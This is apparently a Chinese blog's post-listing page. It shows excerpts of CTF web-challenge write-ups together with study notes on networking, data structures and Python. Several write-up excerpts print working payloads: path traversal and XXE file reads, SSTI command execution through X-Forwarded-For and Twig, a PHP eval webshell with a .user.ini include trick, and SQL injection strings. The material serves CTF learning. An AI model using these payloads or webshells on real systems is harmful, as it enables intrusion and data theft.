自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(40)
  • 资源 (2)
  • 问答 (1)
  • 收藏
  • 关注

原创 经典密码体制(上)

头歌

2022-09-27 14:33:16 2423 1

原创 GWCTF 2019]我有一个数据库 phpmyadmin任意文件读取

phpmyadmin任意文件读取进入phpmyadminphpmyadmin4.8.0-4.8.1存在文件包含漏洞直接上payload读取passwd文件?target=db_datadict.php%253f/../../../../../../../../etc/passwd读取成功,尝试读取flag文件/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag...

2021-09-25 13:30:30 328

原创 [watevrCTF-2019]Cookie Store cookie

直接购买flag 然后抓包解码我们把钱改大一点解码session

2021-09-17 10:47:19 175

原创 [BSidesCF 2019]Kookie cookie

提示我们使用admin账户登录,并且存在cookie/monster两个账户

2021-09-17 10:27:39 127

原创 [b01lers2020]Welcome to Earth js

啊 低头看了下手机 发现 页面进行了跳转抓包试试 找到chase重复抓包的过程拿到源码function check_door() { var all_radio = document.getElementById("door_form").elements; var guess = null; for (var i = 0; i < all_radio.length; i++) if (all_radio[i].checked) guess = all_radi

2021-09-16 11:08:17 132

原创 [Zer0pts2020]Can you guess it? RCE basename()

参考链接源码<?phpinclude 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)");}if (isset($_GET['source'])) { highligh

2021-09-16 10:33:01 158

原创 新华三学习笔记

计算机网络概述计算机网络的基本功能资源共享分布式处理与负载均衡综合信息服务计算机网络的分类LAN(局域网 :由用户自行建设,使用私有地址组建的内部网络MAN(城域网):由运营商或大规模企业建设,连接城市范围的网络WAN(广域网):由运营商建设,连接全国各个城域网的网络。又称骨干网 核心网 传输网网络拓扑定义:网络设备连接排列的方式(简单理解就是网络结构)分类:总线型拓扑:所有设备共享一条公共线路线路中断会导致所有设备中断通讯环形拓扑:所有设备共享一条环形总线传

2021-09-12 11:48:04 200

原创 [BJDCTF2020]The mystery of ip (SSTI smarty X-Forwarded-For

查看FLAG 提示我们关注ip测试{7*7}查看下目录cat /flagX-Forwarded-For:{system("cat /flag")}

2021-09-11 18:51:07 120

原创 [NCTF2019]Fake XML cookbook (XML

XML讲解抓包构造PL<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]><user><username>&admin;</username><password>123456</password></user>...

2021-09-11 11:51:03 84

原创 [CISCN2019 华东南赛区]Web11 (SSTI smarty X-Forwarded-For

我每天都会叮嘱自己学英语(我们可以注意到 xff看了别人的wp ssti和smarty查看下根目录下文件{system('ls \')}发现cat好像被过滤了{show_source('/flag')}

2021-09-10 20:06:34 131

原创 [BJDCTF2020]EasySearch (Apache SSI远程命令执行漏洞

sad 我的御剑怎么又扫不出来文件泄露 index.php.swp源码<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$

2021-09-10 19:45:16 121

原创 [MRCTF2020]PYWebsite (ip

查看源码 function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){

2021-09-08 12:29:28 91

原创 [SWPU2019]Web1 无列名注入

先注册 我先尝试admin 显示已经被注册过了登陆后 进行一个申请然后我申请了一个information_schema的广告(or也是这个回显查询列数order by被过滤了 可以使用group by1'/**/group/**/by/**/22,'1构造-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22手动探测列数,这里探测到有22列,回显位为2和3查表-1

2021-09-08 11:19:00 92

原创 [网鼎杯 2020 朱雀组]Nmap

昨天写了一个差不多的题 online tool这个题目就比较直观了属于是源码<?phprequire('settings.php');set_time_limit(0);if (isset($_POST['host'])): if (!defined('WEB_SCANS')) { die('Web scans disabled'); } $host = $_POST['host']; if(stripos($host,'php')!==false){ d

2021-08-18 13:51:22 94

原创 [BUUCTF 2018]Online Tool

考点RCE PHP源码<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host']; $host = escapeshella

2021-08-17 15:17:17 94

原创 NPUCTF2020]ReadlezPHP

考点:反序列化查看源码源码<?php#error_reporting(0);class HelloPhp{ public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this-&

2021-08-10 13:14:42 122

原创 [WUSTCTF2020]朴实无华

查看源联想到 robots.txt很好 很有精神查看响应头给爷整不会了 为啥乱码了中文 但可以勉强阅读(bushi<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level 1if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) <

2021-08-09 22:38:57 323

原创 [ASIS 2019]Unicorn shop

试到最后一个项目时回显如下查看源码根据提示结合回显的报错告诉了我们只能使用一个字符所以我没要找到大于1377的字符联想到UnicodeUnicode字符集查找

2021-08-09 21:59:10 73

原创 BJDCTF2020]Mark loves cat

.git泄露得到两个重要文件flag.php<?php$flag = file_get_contents('/flag');index.php<?phpinclude 'flag.php';//包含了flag.php$yds = "dog";$is = "cat";$handsome = 'yds';#变量覆盖漏洞foreach($_POST as $x => $y){ $$x = $y;}foreach($_GET as $x =>

2021-08-09 14:36:22 153

原创 [BJDCTF2020]Cookie is so stable

好喜欢这个题 可爱可爱查看hint在flag页面 进行测试其中{{7*7}}在Twig中返回49,在Jinja2中返回的是7777777,由此判断出为Twig模版注入因为提示了cookie,所以使用BurpSuite抓取数据包:进行测试详解模板注入漏洞{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}说明是对的payload:{{_self.env.register

2021-08-09 13:12:21 88

原创 [安洵杯 2019]easy_web 1

家人萌 我又来抄(bushi 写wp了发现这段呢很像base64解码2次3535352e706e67base16解码就是左上角的图片但是 把关注点落在编码方式上 将index.php编码编码结果为:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3在源码中发现 base64解码<?phperror_reporting(E_ALL || ~ E_NOTICE);header('content-type:text/html;charset=utf-8');$

2021-08-08 13:45:58 145

原创 GXYCTF2019]禁止套娃

为什么最近没写博客呢因为kail被我搞崩了 一直在搞 现在是重装了 这就是没有拍摄快照习惯的下场还有呢就是我都阿帕奇 port80被禁了 现在属于是还没解决上传一句话木马

2021-08-06 20:31:14 121

原创 N1Book

第一章 web入门]常见的搜集呢用御剑扫了一下 笑死 啥也没扫出来了用dirsearch扫1、gedit备份文件,格式为filename~,比如index.php~2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp3、robots.txt[第一章 web入门]粗心的小李题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。进入githack 目录下打开index.html[第一章 web入门]SQL

2021-07-29 18:42:54 155

原创 GXYCTF2019]BabySQli

尝试登入 发现一个search.php先base32解码 得到的结果进行base64解码select * from user where username = '$name'通过测试呢 可以猜测用户名为admin测试字段数1' order by 3#只有三个字段联合注入1' union select 1,'admin',3经测试 admin在第二列当查询的数据不存在时,联合查询就会构造一个虚拟的数据输入admin,密码为md5(123456),代入查询时MySQL里面就会生成a

2021-07-29 00:51:26 106

原创 极客大挑战 2019]HardSQL

确实是一整个不知所措了尝试了一下双写 不行那就基本上是报错注入了使用extractvalue和updatexml进行报错注入extractvalue()extractvalue() :对XML文档进行查询的函数语法:extractvalue(目标xml文档,xml路径)第一个参数 : 第一个参数可以传入目标xml文档第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式.

2021-07-29 00:17:54 104

原创 [网鼎杯 2018]Fakebook

看wp说是有备份文件robots.txt泄露源码<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $

2021-07-27 00:28:34 70

原创 [BJDCTF2020]Easy MD5 1

先测试一下得到提示"select * from 'admin' where password=' ".md5($pass,true)." ' "输入:ffifdyop为什么是ffifdyop$a = $GET['a'];$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend.可以用结果等于0exxxxxx的字符串,也可以使用数组a[]=1&a

2021-07-26 23:40:05 116

原创 极客大挑战 2019]BuyFlag

查看源码源码上表名了password的要求password=404a抓包把这个user=0改成1然后按要求post一个password=404a&money=100000000这波属于搞人心态 给爷整无语了接下来呢应该提示我money过长两种方法1.科学计数法 1e82.strcmp函数绕过特性int strcmp ( string $str1 , string $str2 )参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 &lt

2021-07-26 23:20:43 77

原创 SUCTF 2019]CheckIn

可恶啊 今天差点没做题先随便上传一个 提示文件要图片改一下后缀名文件内容为:GIF89a<script language="php">eval($_POST['shell']);</script> 然后我们构造一个.user.ini文件GIF89aauto_prepend_file=test.jpg把这个也上传连接蚁剑连接的url要加上dir这段http://4e81767b-49fa-4900-ae74-e1d5e68039ab.node4.buuo

2021-07-26 01:04:41 205

原创 极客大挑战 2019]BabySQL

知识点:双写绕过先进行测试?username=admin&password=123'union select 1?#You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1?'' at line 1根据回显说明union select被检测到了猜测使用replace函

2021-07-24 14:55:35 93

原创 极客大挑战 2019]Upload

文件上传 一句话木马先写一个test.phtml文件GIF89a<script language="php">eval($_POST['shell']);</script> 上传 抓包更改文件类型使用蚁剑连接 猜测路径为/upload/test.phtml密码就是test中写入的shell在根目录下发现flag文件...

2021-07-23 19:08:53 65

原创 buu web [极客大挑战 2019]Http

查看源代码我们访问这个页面,显示上说这个页面必须来自"https://www.Sycsecret.com"那就抓包无语了 他总说我申请错误(拳头硬了但是可以用hackbarhackbar ????

2021-07-23 18:38:40 84

原创 buu web每日一题之[RoarCTF 2019]Easy Calc

查看源码 提示看calc.php<?phperror_reporting(0);if(!isset($_GET['num'])){ show_source(__FILE__);}else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $b

2021-07-23 18:01:28 141

原创 我愿称之为Java小白救星

Java学习日记 持续更新ing

2021-07-22 23:22:13 69

原创 【数据结构】队列的基本操作 C语言

顺序循环队列#include<stdio.h>#define MAXSIZE 100typedef int DataType;typedef struct{ DataType data[MAXSIZE]; int front,rear;}SqQueue;bool Init(SqQueue &q){ q.front =q.rear =-1; return true;}bool QueueEmpty(SqQueue q){ return (q.front

2021-06-10 14:02:51 312

原创 单链表的基本操作 【C语言】

/*单链表 建立:头插法 尾插法查找:按序号 按数值 插入运算删除运算求表长逆置*/ #include<stdio.h>#include<string.h>#include<malloc.h>#define flag -1typedef int DataType;typedef struct Node{ DataType data; struct Node *next;}LNode,*LinkList; //LNode 定义结点类型

2021-06-05 00:27:21 92

原创 顺序表的处理和操作 【C语言】

//顺序表 #include<stdio.h>#define MAXSIZE 100typedef int DataType;typedef struct{ DataType data[MAXSIZE]; int length;}SqList;//初始化顺序表void InitSqList(SqList &L){ int i,elem; L.length =0; printf("please input elem\n"); for(i=0;i<MAXS

2021-06-04 20:14:15 115

原创 【数据结构】C语言 栈的基本操作

【数据结构】C语言 栈的基本操作#include<stdio.h>#include<stdlib.h>#include<string.h>#define MAX 100typedef struct{ char data[MAX]; int top;} Stack;int InitStack(Stack *S)//构造空栈{ S->top=-1; return 1; } int StackEmpty(Stack *S)//判断栈

2021-04-14 00:02:01 525

原创 python 语法2

python的第二天变量赋值等号左右都要有空格 eg:name = 2 命名规则 myName = '老赵' # 小驼峰MyName = '老赵' # 大驼峰my_name = '老赵' # 已下划线链接 关键字不能作为变量名 import keywordprint(keyword.kwlist) #查询关键字列表 复数 # 虚数c = 12 - 5jprint(c.real)print(c.imag) 两个字符串...

2020-11-15 16:29:30 80

原创 python one 2020-11-14

pythonps.在使用变量之前 需要对其先赋值变量名可以包括字母 数字 下划线 但变量名不能以数字开头字母大小写意义不同5+8和’5’+'8’意义不同 前者是两数相加 后者是字符串的拼接单双引号无所谓 但是必须成对字符串中有单引号怎么办 eg: let’s go加入转义字符\ 输入let’s go则输出let’s go或者双引号”let’s go”原始字符串 在字符串前加个r eg:r’c\now’ 输出c\now 如若输入r’c\now’则会报错如果希望得到跨越多行的字符

2020-11-14 16:58:31 129

AntiVCode.rar

验证码识别

2021-05-13

C段查询工具-[20180103]-7kbscan.zip

C段查询工具-[20180103]-7kbscan.zip

2021-05-13

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除